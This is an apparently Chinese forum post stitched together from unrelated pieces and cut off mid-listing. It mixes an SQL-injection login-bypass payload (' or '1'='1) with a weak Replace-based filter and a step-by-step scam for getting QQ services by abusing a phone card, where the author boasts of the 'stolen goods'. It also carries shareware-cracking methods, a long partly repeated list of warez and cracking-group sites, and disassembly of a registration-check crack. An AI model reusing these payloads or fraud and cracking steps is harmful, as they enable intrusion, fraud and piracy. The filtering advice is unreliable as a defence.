[漏洞]如何过滤'or'='or'!!

现在很多的公司网站的后台漏洞是大的叫人害怕
只要写入'or' '=',

就可以顺利的登入它的后台治理
针对于此,大家都是如和处理的?

希望各位发出自己的检验,完善下这个帖子,

PS:为安全做点力量

我本着抛砖引玉思想欢迎大家来一起讨论此帖,谢谢!
此帖已经在远望论坛发帖子讨论,已经有人回复总结一文,在此一起发出,希望更多的人针对此发表自己的见解

针对ASP中SQL Injection的初级防护(总结版)
robur/文

记得大约是在2002年的时候,SQL Injection(SQL注入)开始有了最初的雏形。黑客们发现,在动态网页的某些地方(表单等……)插入一些可以在数据库查询中起作用的语句和符号,就可以让页面执行后,返回非凡的结果。于是,经过了2003的发展,到2004年,SQL Injection已经作为一种很成熟的入侵技术登上了安全界的舞台。也是2004年,有大批的网站程序被发现了SQL Injection漏洞,也有大批的网站栽倒在这种攻击手段之下。
下面,我就小行和逍遥一指令的帖子,作总结性的说明,仅供参考。
正如如小行所说的,在某些网站的登录界面,假如你知道了存在的用户名(例如:admin),你无须知道密码。只需在密码框中输入' or ''='即可。(注重,全是单引号!)这样在不知道密码的情况下,也可以用admin的身份登录。
但是,我想说的是,' or ''='在一些地方会出现问题。有些数据库不会认为“空”=“空”是成立的条件,这样就不行了。最好写成' or '1'='1
这样,SQL的查询语句,就变成了如下的样子。
select * from users where name='admin' and pass='123456' or '1'='1'
上面,蓝色的部分是用户在密码框中输入的数据。大家可以看见,由于用户的巧妙构造,使得SQL Server把这条查询语句解析为3个条件:
1、name='admin'
2、pass='123456'
3、'1'='1'
要害是中间的那个or,这样一来,SQL Server在解析的时候,只要条件2、3,符合一个就可以了。
因为1=1是衡成立的,所以这个查询的结果肯定是true。

既然已经知道了原理,那我们可以试着防范这种攻击。
我们的根本目标,就是把用户输入的单引号和or过滤掉,这样就能在基本上杜绝SQL Injection攻击。但是,需要强调的是,SQL语句中,起作用的还有and,分号,--(两个减号)等等。

解释一下:and用于连接两个条件。;(分号)用于分隔两个语句。(假如把两个语句写在一行,就需要它。)--(双减号只在MS SQL Server中起作用,含义是忽略后面的内容。这个通常在繁琐的MS SQL注入中使用。)

回归主题。asp中为我们提供的字符转义函数:Replace。看代码:

<%
Dim Usr,Pwd
Usr=Request.form("username") '从表单获得数据
Pwd=Request.form("password") '同上
if (Usr<>"") and (Pwd<>"") then '判定数据为非空
Usr=Replace(Replace(Usr,"'",""),"or","") '嵌套了两个replace函数,过滤非凡字符
Pwd=Replace(Replace(Pwd,"'",""),"or","")
end if
%>

Repalce语法规则:
Replace(变量名称,"要过滤的字符","要替换的字符")
说明,“要替换的字符”那里,假如留空,就是把要过滤的字符直接删除。
例子:
Replace(Pwd,"'or","")
过滤Pwd变量中的or字符。
由于Replace函数,一次只能对一组字符进行转义,所以讲讲Replace的嵌套:
Replace(Replace(Pwd,"or",""),"'","")
代码中红色的地方,被外面的replace函数看作一个变量,依此类推。
假如你还想过滤and,分号,--什么的,请看下面(完全过滤了在SQL注入中最要害的5个字符串。)
Replace(Replace(Replace(Replace(Replace(变量名称,"'",""),"or",""),"and",""),"--",""),";","")

上面只是防范从表单提交的数据,对于一些新闻系统,经常会出现诸如:
http://host/news/show.asp?id=1
之类的URL。
假如在那个1后面,加上一个单引号,一样会报错。我们往下看。
假如加上了单引号,SQL语句就变成了:
select * from news where id='1''
因为最后一个引号没有闭合,所以系统一定会报错。
防范如下(其实和上面的原理是一样D……)看代码:

<%
Dim id
id=Request("id")
if Not IsNumeric(id) then '------事先声明了变量,所以可以直接写进去。否则,就要写Request("id")
Response.write "Error!" '------反馈错误信息
Response.end '------中止执行下面的语句
end if
%>

因为,类似新闻ID之类的变量,是根本不需要有字母和符号存在的,所以用IsNumeric来判定是否为纯数字,确保万无一失。
假如一个变量,里面需要有字母和符号,那你就只好用Replace函数慢慢过滤了……:O)

最后,再说两种防止ASP页面暴出错误信息的方法。
众所周知,入侵者往往都是通过页面暴出的错误来得知一些额外的信息。比如你的系统,SQL Server的版本,是否存在某数据库,SQL语句是否执行成功等……
防止入侵者看到错误信息,就是让入侵者变成了睁眼瞎,找不到头绪。(骨灰级黑客除外~~~~)
方法1:打开你的IIS治理器(以IIS6.0为例),选择你的网站=》属性页面=》主目录选项卡=》点击配置按钮=》调试选项卡=》向客户端发送下列文本错误消息
这样,即使入侵者找到了注入点,注入后,得到也只是服务器返回的固定的错误消息。不能得到任何有价值的错误信息。

方法2:在你的ASP语句中(一般是在最开头的地方),加上一句
On Error Resume Next
(注重,这句必须加在<% %>里面,不然IIS可不认。)
这就是闻名的容错语句,当ASP语句执行时发生错误,就跳过错误,继续向下执行,而且不会返回错误信息。
当然,入侵者看不到错误信息,调试人员也看不到。所以,你一定在把一个ASP程序调试完毕后,再把这个语句加到ASP语句的顶端。否则,调试的时候,会烦死你的~~~~~~:O)

好了,不多说。就这些了,全是自己写的。大家随便看看,捧捧场哦~~~~

首先整一张余额1块左右的联通!卡,少了你刷不了QQSHOW了。 你可以慢慢的刷四个钻石和会员,但是你都选网上输入号码选项,不然它网页给出号码作废了许多,3777用的比较多(对不起QQ堂紫钻的不能刷),不必担心马上扣光你钱,号码我就不给出来了,比较简单。 刷完了5个服务(短信超人不用我教吧,没啥用),同志们喝点水,开始要害的时刻了。
以往 都说一张卡最多刷完QQ5服务就没用了,有的甚至提出可以刷QB,当然这个刷QB现在行不通了。 来刷QQSHOW能赚大钱,首先选个10块左右的QQSHOW点下面有手机付费,点进去(先介绍一下这个原理,TENCENT超级无聊,让你听垃圾笑话,比如你买了10块就听10分钟)成功后会出现联通:1015908811
按照语音提示输入授权号码: 187143 (三小时内有效) 打好电话输好代码就把电话挂在那里,完了自己会挂的,挂了就取查收一下,你可以在通话的同时 继续选QQSHOW,慢慢来,慢慢选,10块估计可以刷5轮,也就是50块左右。 现在告诉你为啥不让你取刷QB,因为4小时之内顶多刷20个,而且也是听垃圾笑话不值得啊。 整个过程讲究的是速度。 我讲完了,本次本人刷取总价值在100QB以上的赃物。非常感谢腾迅公司对本活动的支持,同时也非常感谢马总对老百姓的照顾。
2006年7月4日 BY LUCKKING 原创。

1.浅谈共享软件是如何被破解的

一、常见的共享软件保护方式

  正所谓“知己知彼,百站百胜”,在讨论如何破解“共享软件”之前,我们首先应该知道“共享软件”都采用了哪些保护方法

  1.网上注册

  目前大约80%的共享软件都采用网上注册。通常这类共享染件都会有使用时间上的限制,一旦过了试用期,就必须向软件开发者着册才能够继续使用。注册过程一般都是用户把自己的私人信息告诉给开发者,开发者再根据这些信息,按照一定的规则计算出注册码,用户付费后即可得到。最后,用户在软件的注册项中输入得到的注册码,完成注册。

  2.警告窗口

  警告窗口是软件设计者用来不断提醒用户购买正版软件的窗口,这样的窗口会在软件启动或运行过程中不时弹出,非常令人讨厌。此类软件注册后,窗口会自动消失。

  3.限时器保护

  有些共享软件具有时间限制功能,比如每次运行时间超过多少分钟就会自动关闭程序,必须重新启动才能正常运行。还有一种保护模式就是程序只能运行有限的次数和天数等,这是由软件内部的定时器控制运行时间的。

  4.注册稳当保护

  这是一种利用文本文件来注册软件的方式。注册文档是纯文字文件或二进制的文件,其内容是一些加密或未加密的数据,内容包括用户的注册信息,文件格式由开发者自行定义。试用版本软件中没有这个注册文档,只有当用户向开发者付费注册后,才会收到软件的注册文档。用户只要将该文档放入指定的目录中,就可以将软件注册。软件在每次启动的时从注册文档中读取数据,然后利用某种算法判定注册信息是否正确,进而决定以何种模式运行。

二、使用工具破解保护

  了解了“共享软件”通常使用的保护方式后,我们再来看看目前常用的破解工具软件。

  这里,我们推荐使用 Sunny FreeWizard 3.0

  软件名称 Sunny FreeWizard 3.0

  软件版本 3.0

  授权方式 共享软件

  STEP1:下载安装 Sunny FreeWizard ,并运行安装程序。

  STEP2:选择你要截取程序的限制,包括使用日期限制,使用天数限制,使用次数限制,启动时候弹出的确认窗户提醒注册。

  STEP3:输入要阻止的软件提醒注册窗口,在这里可以随便输入。,进行窗户检测并确认启动程序。

  STEP4:破解后再次启动 被破解的工具,软件不再提示注册。


三、破解软件的类型

  通常在网上供下载的破解软件有四种类型:第一种是软件的破解版,即下载的程序已被修改过,屏遮掉了注册功能:第二种是软件的破解补丁,即我们安装了原始软件后还需要运行破解补丁对软件进行破解:第三种就是内存破解程序,也就是通过修改程序执行时在内存中的注册信息,让软件认为用户已经注册:第四种则是同通过软件的注册机计算出注册码,再进行软件注册。

四、"Cracker"的破解方法

  其实现在大多数“共享软件”的注册码,破解程序和补丁都可以在网上找到,大可不必自己费力气来破解软件。不过,你想知道."Cracker"面对这些软件如何做的吗?下面就具体说说。

  1. “TNT”法——暴力破解

  暴力破解最常见也最简单的破解方法。."Cracker"直接利用编辑工具<例如ULTRAEDIT-32>对可执行文件进行修改,也就是说通过修改可属性程序的源文件来达到破解目的。某些元件在验证用户注册信息和注册码时候,假如用户输入的信息与软件通过的算法生成的注册码相等,程序就会注册成功,否则就会注册失败。

  2. “翻箱倒柜”法——追查软件注册码

  从软件中找到注册码一般都是稍微有些功力的."Cracker"做的,软件在进行注册码认证的时候会有个比较的过程,就是水软件会通过我们输入的用户或者根据我们的其他注册信息,生成一个正确的注册码与我们输入的注册码进行比较,假如2个相同,表示注册码正确并通过注册认证,否者就会提示出错。而对于采用明码的软件来说<就是将计算机出的注册码直接放在内寸中>,."Cracker"就会利用调试器对内存程序进行分析,找出存储在内存里面的正确注册码。

  3.破解之大成——编写软件注册机

  "Cracker"中的高手一般亲自写软件的注册机。这样做其一是由于某些加密程度较高的软件很难使用上述方法找到注册码,其二是."Cracker"进行破解通常并不仅仅是为了一个注册码,而是要对其软件结构,加密算法进行系统的分析和了解。当然,要想真正的写出软件的注册机,破解者需要具备相当熟练的代码分析能力和扎实的对软件开发功底,这也需要破解者进行刻艰苦的学习和长期的积累。

  编后语: 破解与反破解永远是道高一尺,魔高一丈的争斗。共享软件想要成功,其作者除了在软件中加强保护的力度,还需要不断提高自己的水准,做出高质量,有独特的创新,能真正满足用户需要的共享软件。



2.盗版不是软件的致命伤

我们的一些国产软件,包括相当多有良好前途的应用软件,出于急于回收投资或者其它方面的考虑,往往在软件推出的时候,把价钱定得很高,而且采取了比较高级的“加密技术”,以防止软件被盗版。可是他们忽略了当他们的软件被破解之后,因为价钱比较低廉,使用者必然会大增,从而加大该软件的市场使用率。而且因为破解软件在使用过程中,或多或少地会出现一些问题,所以出于工作等方面的需要,反过来又会促使“正版软件的购买量”。

但前提是你的软件是不是真的“很好”。在这里不妨引用一下厦门蓝芒科技有限公司总裁许广彬先生的一句话“尽管我们公司的软件被盗版,但是我还是要感谢那些盗版软件的使用者,因为他给了我一个信心,证实我的软件是真的有用的。我们所销售的不仅仅是软件的本身,更多的是我们的服务,我们与我们的合作伙伴共同发展的过程。”

所以一直以来,我对那些纷纷出来指责“盗版”软件会影响他们生存的软件公司,并不怎么抱认可态度。因为盗版固然可能会对他们造成一定的伤害,但更可怕的是他们的软件水准不值得盗版。


3.破解软件全过程

●提供者
首先有专门负责获取软件的成员,称为“提供者”。提供者获取软件的方式则是五花八门,有可能是花钱买来正版的软件,也有可能提供者本身就是软件公司的职员,将公司尚未发行的软件弄出来破解。EA公司的游戏FIFA2000就曾经碰到过这种情形,在正版游戏销售前一个月就被WareZ组织破解流传。

●破解者

得到了软件之后,接下来就由破解者(Cracker,与前面提到的骇客是同一个单词,但是性质不同)出马操刀,负责将软件解密。这道工序是整个流程中技术含量最高的。破解者要有丰富的经验,找到破解的要害点进行跟踪,理解软件的加密流程,从而找到破解的方法。所以破解不仅要有软件才能,还需要有相当的数学头脑。

●“剥离者”

在某些小组织内还有一个角色叫做Ripper,这个词用汉语比较难解释,或者可以称其为“剥离者”。有些软件含有一些没什么作用的内容,占用空间而且对软件的使用没有多大作用,比如游戏中的过关动画,为了方便在网络传播,需要将这些内容剥离,这就是Ripper们的功夫了。

●打包者

接着就是打包者上场了,他们负责将破解后的软件重新打包,并且制作安装程序。这个看起来简单的工作其实也是一个技术活,因为要在网上发布,所以打包结果是有规矩的,比如硬盘版的游戏,一个软件不能超过65个压缩包,每个压缩包不能超过2.8兆,就算原来的游戏有六七张光盘,假如最终不能弄成这样子就发布出去,是会被行内的人笑话的。

●测试者

在整个破解打包过程中,会有测试者一直跟踪测试,保证破解后的软件不出问题。最后一道工序,则是将各个压缩包散布到网络各处,并且通过渠道让大家知道这个破解版的存在。


4.全球破解组织网址大全

由于破解组织不能有长期的网站,所以假如有不能进入的网站不要希奇!

http://www.phrozencrew.com/ (The OFFICIAL PC Website)
http://nitr8.tsx.org/ (Nitr8^'s site -- PC mem)
http://www.ixpres.com/jwwiii/
http://rude.8m.com/ (RudeBoy's Page of Fun -- PC mem)
http://www.phrozencrew.com/~teraphy/
http://azrael.infierno.org/
http://come.to/dkc.com/ (da Kurious Child's site -- PC mem)
http://virogen.cjb.net/ (Virogen's NOP page -- PC mem)
http://davinci.ice.org/ (DaVinci's Art Gallery)
http://nitallica.cjb.net/ (My Artrial Emissions)
http://welcome.to/my.gothic.domain/
http://surf.to/HarvestR/ (Various Links and Tools)
http://hackersclub.com/km/files/cfiles/index.html (PC tuts)
http://uranus.kersur.net/Cracks/PC_Files/
http://defiance.hysterical.net/T_D/cracks.htm
http://www.toxic.thiswayup.com/
http://start.at/SerialNumberShop/
http://defiance.hysterical.net/T_D/...packs/index.htm (More Crack Packs)
http://home.global.co.za/~ticket/ (alternate Serial Number Shop URL)
http://www.warezone.com/cracks/9811/
uNiTED cRACKiNG fORCE:
http://www.ucf2000.com/ (UCF's Homepage and access to their crack files)
http://www.seventh.com.au/ucf/ (Something new from the guys in UCF,check it out!)
http://quantico.cjb.net/ (Quantico's HQ -- MEXELiTE & UCF mem)
http://scroll.to/mysite/ (KiRCH0FF's website -- UCF mem)
CORE:
http://www.orc.ru/~pakou/index.html (Russ97's CORE Collection)
http://www.russcore.net/ (CORE cracks)
http://hambo.yeah.net/ (Keygen Studio)
http://202.103.111.109/hambo/index.html (alternate Keygen Studi URL)
http://www.crackworld.net/hambo/index.html (alternate Keygen Studio URL)
LawAbidingCriminalZ:
http://users.powernet.co.uk/smurff/ (LAC Homepage)
http://www.welcome.to/lawabidingcriminalz/ (Another LAC url)
http://www.lac2000.freeserve.co.uk/ (Another LAC url)
cRACKiNG 4 aLL:
http://surf.to/C4A (c4a Website)
http://208.234.248.14:81/c4all/ (Alternate C4A URL)
http://guest:rusky@skcarc.reallyrussian.com/c4all/ (more C4A!!)
The Exterminators:
http://skcarc.reallyrussian.com/ (username: guest password: rusky -
Please note this is temporary)
http://home.bip.net/rbz16/pict1b.html (RayBieZ Releases -- tEXmember)
http://qnet.kr.net/~netp/tex99/ (fresh tEX releases!)
http://tex99.mypage.org/ (Fresh tEX URL)
AnThraX - The Ongoing Force:
http://www.anthrax.org/main.html (AnThraX Website)
http://www.lis.net.au/~jmaxt/cracks/ (Cokebottle cracks page -- member of AnThraX)
http://take-us.to/dasavant/ (DASavant's Site -- another member of AnThraX))
http://www.chez.com/ccosmo/cosmo.htm (Cosmo Cramer's Cracks & Serials -- President of AnThraX)
The Nameless Ones:
http://members.xoom.com/tno/ (tNO Website)
http://russtno.cjb.net/ (Russ's tNO Cracks Page)
http://www.listen.to/tno/ (tNO Cracks Page)
http://www.orc.ru/~pakou/tno.html (Russ97's tNO Page)
Crackers By Excellence:
http://welcome.to/cbe/ (CbE Website)
ftp://24.95.71.29:99/pub/ (CbE complete file archive)
BaSiC SmUrFs:
http://www.come.to/basic_smurfs/ (BaSiC SmUrFs Page)
Dedicated 4 Cracking:
http://toto.xcem.com/d4c/index.html (Unofficial d4c Website)
FAITH2000:
http://listen.to/faith2000/ (Faith2000 website -- l/p F2K/4ever)
http://move.to/f2k_cp/ (Faith2000 April Crackpack)
http://search.faith2000.com/ (F2K Search Page)
http://www.faith98.demon.nl/html/files.htm (alternate F2K URL)
http://home.telia.no/faith2000/mirror/index.html (alternate F2K URL)
http://members.tripod.com/midi_now/ (alternate F2K URL)
Hack Section Warez:
http://hsection.dynip.com (Hack Section Warez Website)
Kick Ass Cracking:
http://kac.cjb.net/ (kAc Website)
Laxity:
http://www.laxity.com/ (Laxity WebSite)
http://www.http2.com/www.laxity.com/ (alternate Laxity URL)


Drink Or Die:
http://www.drinkordie.com (DOD Website -- read: COOL GFX!)
Cyber Knights Templar:
http://members.tripod.com/cyberkt (Cyber Knights Templar Homepage)
PZ Crack Team:
http://fly.to/pct/ (PZ Website)
http://pzct.cjb.net/ (alternate PZ URL)
http://pzcrackteam.findhere.com/ (alternate PZ URL)
HNC Productions:
http://www.multimania.com/~hnc (HNC Website)
Tristar & Red Sector:
http://www.trsi.de/ (Tristar & Red Sector Website)
Six World ($!X):
http://come.to/sixworld (The $!X WEbSite)
http://come.to/sixbackup ($!X Site)
http://www.thepentagon.com/sixworld ($!X Site)
http://cool.icestorm.com/sixworld/sixcrackz.htm ($!X Cracks)
SpeltaniX:
http://hackerlink.or.id/spx/main.html (SpeltaniX WEbSite)
http://travel.to/alien/ (|Alien|'s webpage -- SpeltaniX member)
Croatian Cracking Service:
http://surf.to/crocracks/ ([CCS] WEbSite)
Hungarian Pirates Alliance:
http://w3.swi.hu/krow/hpaweb/crackz.html (HPA Cracks Page)
http://hpa.netchicken.hu/ (alternate HPA Cracks Page)
http://www.hpacrackers.com/ (Newest HPA Link)
Ivanopulo:
http://ivanopulo-cracks.da.ru/ (Ivanopulo's Cracks Page)
http://www.artcon.ru/cracks/ (Another Ivanopulo Addy)
BLaCK SQuaDRoN:
http://www.blacksquadron.est-ici.org/ (BLaCK SQuaDRoN's WebSite)
http://get.to/bs2000/ (Black Squadron releases)
Ebola Virus Crew:
http://beam.to/evc/ (Ebola Virus Crew WebSite)
4110 Crackers:
http://come.to/4110/ (4110 WebSite -- remember the guys in GCG?)
http://beam.to/4110/ (alternate 4110 URL)
http://4110.tsx.org/ (alternate 4110 URL)
Ultra Tech:
http://ultra-tech.org/ (Ultra Tech WebSite)
The Egoiste:
http://w3.to/egoiste/ (The Egoiste Website)
http://egoiste.cjb.net/ (alternate Egoiste URL)
http://come.to/egoiste/ (alternate Egoiste URL)
Green Knight:
http://www.green-knight.com/ (Green Knight's Website)
ftp://24.93.48.171:21/ (Green Knight FTP -- login: Anonymous)
Radium:
http://www.bape3.da.ru/ (Radium Release Site)
http://user.koenig.su/HBB2/audiowarez/ (Find their releases here)
http://www.enet.ru/win/digitalKenig...BB2/audiowarez/ (Findtheir re
leases here)
LASH:
http://www.lash-cracking.com/ (LASH webpg)
http://come.to/moreorlash/ (alternate LASH URL)
http://meltingpot.fortunecity.com/liveoak/754/index.htm (alternate LASH URL)
Warp:
http://www.warphome.org/ (Home of the Efnet-based cracking crew Warp)
gERMAN cORRUPTED kILLaS:
http://gck.home.pages.de/ (GCK homepage)
http://www.crackworld.net/german/ (alternate GCK URL)
http://homepages.go.com/~germancorruptedkillas/ (alternate GCK URL)
BREAKPOiNT:
http://breakpoint.tsx.org/ (BreakPoint homepage)
FIGHTING FORCE:
http://ffo2000.cjb.net/ (FFO website)
TNT!Crack!Team:
http://come.to/tntcrackteam/ (TNT website)
http://members.xoom.com/_XOOM/tntcrackteam/index.htm (altnernate TNT URL)
http://drive.to/tnt/ (TNT's Security Site)
Whiskey Kon Tekila [WkT!]:
http://wkt.tsx.org/ (WKT website)
http://wkt.mypage.org/ (Alternate WKT URL)
http://pagina.de/wkt/ (Alternate WKT URL)
http://come.to/wkt/ (Alternate WKT URL)
http://ecd.cjb.net/ (WKT Tutorials Site)
http://lafundacion.tsx.org/ (La Fundacion -- Mr Crimson's CrackPage --WKT member)
Eternity:
http://welcome.to/Eternitys.home/ (Eternity's website)
http://www.toxic.thiswayup.com/ (Toxic Crackz Page)
http://members2.easyspace.com/archivist/
PRO-X:
http://come.to/prox/ (PRO-X Webpage)
BRCrackers:
http://brc.tsx.org/ (BRCrackers Webpage -- excellent Brazilian crackers)
Nova:
http://surf.to/nova/ (NOVA Webpg)
http://novacracks.cjb.net/ (alternate NOVA URL)
Tuberculosis:
http://tbc.tsx.org/ (Tuberculosis WebSite)
http://tbc.iscool.net/ (alternate Tuberculosis URL)
http://tuberculosis.cjb.net/ (alternate Tuberculosis URL)
http://viny.tsx.org/ (Viny's Page -- Tuberculosis member)
http://adenozin.tsx.org/ (aDENOZiN's Page -- Tuberculosis member)
http://come.to/crackingHQ/ (jak's Cracking HQ -- Tuberculosis member)
PDAZone:
http://WWW.PDAzone.net/ (PDAZone Website -- PalmPilot and WinCE crackers)
Dark Society of Destruction:
http://www.come.to/cib/ (Woody's website -- a DSD member --official CiB site)
http://hjem.get2net.dk/monkee/ (Dena's website -- a DSD member)
http://home7.inet.tele.dk/mafia/ (Sordid's website -- a DSD member)
United Cracking Team:
http://uct2000.cjb.net/ (United Cracking Team Homepage)
http://uct2000.tsx.org/ (another UCT addy)
http://uctnet.tsx.org/ (UCT's Scene Newz Page)
http://upp.tsx.org/ (UCT's Universal Power Patcher)
Digital Cracker Domain:
http://dcd.mainpage.net/ (DCD webpage -- nice looking, easy loading)
BAKOENIN CREW:
http://listen.to/bc98/ (BAKOENIN CREW webpage)
http://bc98.ourfamily.com/ (BAKOENIN CREW -- american mirror)
German StarfoX CreW:
http://fly.to/gscob/ (German StarfoX CreW webpage)
iMPACT:
http://www.impact.notrix.net/ (iMPACT webpage)
http://members.xoom.com/_XOOM/_VOiZE_/index.html (alternate iMPACT URL)
http://boozers.fortunecity.com/slug/58/ (alternate iMPACT URL)
eRRatum Krak House:
http://all.at/ekh/ (eRRatum Krak House webpage)
http://www.hackerlink.or.id/ekh/englishnew.htm (alternate Erratum URL)
Team Epsylon:
http://www.teamepsylon.de.cx/
Addiction:
http://www.addiction.net/
German Cracking Force:
http://get.to/gcf/ (German Cracking Force webpage)
http://skyscraper.fortunecity.com/activex/607/hp.htm
CroSSover:
http://crossover.tsx.org/ (CroSSover homepage)
Looney Tunes Crack Club:
http://surf.to/ltcc/ (LTCC Website -- another Brazilian crackinggroup)
The Hacking Paranoiaz:
http://tsx.de/paranoiaz/ (THP Website)
http://fast.to/dabytefrog/ (alternate THP URL)
Ground Zero Inc:
http://w3.to/gzi/ (GZI Website)
Phusion:
http://i.am/jamesbond001/ (PhuSioN Website -- XP Crackers)
http://www.geocities.com/ResearchTr...Thinktank/8521/(alternate PhuSioN URL)
IceFortress:
http://www.icefortress.com/ (IceFortress Homepage -- International Crackers Evolution)
Cracker`s NEXUS:
http://move.to/CrackersNEXUS/ (Cracker`s NEXUS -- German Cracking/MP3/Burning/Etc.roup)
Soldiers of Satan Group:
http://sos.nanko.ru/ (SOS Group Website)
bYtEsMaCk InC:
http://www.angelfire.com/nc/bYtEsMaCk/ (bYtEsMaCk InC. Website)
Digital Cyber Hackers:
http://www.dch.de.cx/ (Digital Cyber Hackers URL)
http://www.starkontakt.de/DCH/ (alternate DCH URL)
   http://www.green-knight.com/ (Green Knight's Website)

   ftp://24.93.48.171:21/ (Green Knight FTP -- login: Anonymous)

Radium:

   http://www.bape3.da.ru/ (Radium Release Site)

   http://user.koenig.su/HBB2/audiowarez/ (Find their releases here)

   http://www.enet.ru/win/digitalKenig...BB2/audiowarez/ (Findtheir re

leases here)

LASH:

   http://www.lash-cracking.com/ (LASH webpg)

   http://come.to/moreorlash/ (alternate LASH URL)

   http://meltingpot.fortunecity.com/liveoak/754/index.htm (alternate LASH URL)

Warp:

   http://www.warphome.org/ (Home of the Efnet-based cracking crew Warp)

gERMAN cORRUPTED kILLaS:

   http://gck.home.pages.de/ (GCK homepage)

   http://www.crackworld.net/german/ (alternate GCK URL)

   http://homepages.go.com/~germancorruptedkillas/ (alternate GCK URL)

BREAKPOiNT:

   http://breakpoint.tsx.org/ (BreakPoint homepage)

FIGHTING FORCE:

   http://ffo2000.cjb.net/ (FFO website)

TNT!Crack!Team:

   http://come.to/tntcrackteam/ (TNT website)

   http://members.xoom.com/_XOOM/tntcrackteam/index.htm (altnernate TNT URL)

   http://drive.to/tnt/ (TNT's Security Site)

Whiskey Kon Tekila [WkT!]:

   http://wkt.tsx.org/ (WKT website)

   http://wkt.mypage.org/ (Alternate WKT URL)

   http://pagina.de/wkt/ (Alternate WKT URL)

   http://come.to/wkt/ (Alternate WKT URL)

   http://ecd.cjb.net/ (WKT Tutorials Site)

   http://lafundacion.tsx.org/ (La Fundacion -- Mr Crimson's CrackPage --WKT member)

Eternity:

   http://welcome.to/Eternitys.home/ (Eternity's website)

   http://www.toxic.thiswayup.com/ (Toxic Crackz Page)

   http://members2.easyspace.com/archivist/

PRO-X:

   http://come.to/prox/ (PRO-X Webpage)

BRCrackers:

   http://brc.tsx.org/ (BRCrackers Webpage -- excellent Brazilian crackers)

Nova:

   http://surf.to/nova/ (NOVA Webpg)

   http://novacracks.cjb.net/ (alternate NOVA URL)

Tuberculosis:

   http://tbc.tsx.org/ (Tuberculosis WebSite)

   http://tbc.iscool.net/ (alternate Tuberculosis URL)

   http://tuberculosis.cjb.net/ (alternate Tuberculosis URL)

   http://viny.tsx.org/ (Viny's Page -- Tuberculosis member)

   http://adenozin.tsx.org/ (aDENOZiN's Page -- Tuberculosis member)

   http://come.to/crackingHQ/ (jak's Cracking HQ -- Tuberculosis member)

PDAZone:

   http://WWW.PDAzone.net/ (PDAZone Website -- PalmPilot and WinCE crackers)

Dark Society of Destruction:

   http://www.come.to/cib/ (Woody's website -- a DSD member --official CiB site)

   http://hjem.get2net.dk/monkee/ (Dena's website -- a DSD member)

   http://home7.inet.tele.dk/mafia/ (Sordid's website -- a DSD member)

United Cracking Team:

   http://uct2000.cjb.net/ (United Cracking Team Homepage)

   http://uct2000.tsx.org/ (another UCT addy)

   http://uctnet.tsx.org/ (UCT's Scene Newz Page)

   http://upp.tsx.org/ (UCT's Universal Power Patcher)

Digital Cracker Domain:

   http://dcd.mainpage.net/ (DCD webpage -- nice looking, easy loading)

BAKOENIN CREW:

   http://listen.to/bc98/ (BAKOENIN CREW webpage)

   http://bc98.ourfamily.com/ (BAKOENIN CREW -- american mirror)

German StarfoX CreW:

   http://fly.to/gscob/ (German StarfoX CreW webpage)

iMPACT:

   http://www.impact.notrix.net/ (iMPACT webpage)

   http://members.xoom.com/_XOOM/_VOiZE_/index.html (alternate iMPACT URL)
   http://boozers.fortunecity.com/slug/58/ (alternate iMPACT URL)

eRRatum Krak House:

   http://all.at/ekh/ (eRRatum Krak House webpage)

   http://www.hackerlink.or.id/ekh/englishnew.htm (alternate Erratum URL)

Team Epsylon:

   http://www.teamepsylon.de.cx/

Addiction:

   http://www.addiction.net/

German Cracking Force:

   http://get.to/gcf/ (German Cracking Force webpage)

   http://skyscraper.fortunecity.com/activex/607/hp.htm

CroSSover:

   http://crossover.tsx.org/ (CroSSover homepage)

Looney Tunes Crack Club:

   http://surf.to/ltcc/ (LTCC Website -- another Brazilian crackinggroup)

The Hacking Paranoiaz:

   http://tsx.de/paranoiaz/ (THP Website)

   http://fast.to/dabytefrog/ (alternate THP URL)

Ground Zero Inc:

   http://w3.to/gzi/ (GZI Website)

Phusion:

   http://i.am/jamesbond001/ (PhuSioN Website -- XP Crackers)

   http://www.geocities.com/ResearchTr...Thinktank/8521/(alternate PhuSioN URL)

IceFortress:

http://www.icefortress.com/ (IceFortress Homepage -- International Crackers Evolution)

Cracker`s NEXUS:

http://move.to/CrackersNEXUS/ (Cracker`s NEXUS -- German Cracking/MP3/Burning/Etc. Group)

Soldiers of Satan Group:

http://sos.nanko.ru/ (SOS Group Website)

bYtEsMaCk InC:

http://www.angelfire.com/nc/bYtEsMaCk/ (bYtEsMaCk InC. Website)

Digital Cyber Hackers:

http://www.dch.de.cx/ (Digital Cyber Hackers URL)
http://www.starkontakt.de/DCH/ (alternate DCH URL )



6.简单算法 GIF Movie Gear 3.0

工具:trw 2000 娃娃版,w32dasm,windows 计算器,regmon.
运行注册对话框,输入 happycreator,注册码: 123456789
在trw 2000 中下断点bpx hmemcpy
点“确定”中断
来到004317d2
向下看:

:004317EE 8D4C2460 lea ecx, dword ptr [esp 60]
:004317F2 50 push eax
:004317F3 51 push ecx
:004317F4 E8F7FBFFFF call 004313F0 <-----要害call!
:004317F9 83C408 add esp, 00000008
:004317FC 85C0 test eax, eax
:004317FE 0F84AD000000 je 004318B1
:00431804 8D542410 lea edx, dword ptr [esp 10]
:00431808 8D44240C lea eax, dword ptr [esp 0C]
:0043180C 52 push edx
:0043180D 50 push eax
:0043180E 6A00 push 00000000
:00431810 683F000F00 push 000F003F
:00431815 6A00 push 00000000
:00431817 6814ED4400 push 0044ED14
:0043181C 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"Software\gamani\GIFMovieGear\2.0"
|
:0043181E 68B8B34400 push 0044B3B8
:00431823 6801000080 push 80000001

* Reference To: ADVAPI32.RegCreateKeyExA, Ord:015Fh
|
:00431828 FF1514804400 Call dword ptr [00448014]
:0043182E 8D7C2460 lea edi, dword ptr [esp 60]
:00431832 83C9FF or ecx, FFFFFFFF
:00431835 33C0 xor eax, eax
:00431837 8B54240C mov edx, dword ptr [esp 0C]
:0043183B F2 repnz
:0043183C AE scasb
:0043183D F7D1 not ecx

* Reference To: ADVAPI32.RegSetvalueExA, Ord:0186h
|
:0043183F 8B1D08804400 mov ebx, dword ptr [00448008]
:00431845 51 push ecx
:00431846 8D4C2464 lea ecx, dword ptr [esp 64]
:0043184A 51 push ecx
:0043184B 6A01 push 00000001
:0043184D 50 push eax

* Possible StringData Ref from Data Obj ->"RegName3"
|
:0043184E 6890D44400 push 0044D490
:00431853 52 push edx
:00431854 FFD3 call ebx
:00431856 8DBC24C4000000 lea edi, dword ptr [esp 000000C4]
:0043185D 83C9FF or ecx, FFFFFFFF
:00431860 33C0 xor eax, eax
:00431862 F2 repnz
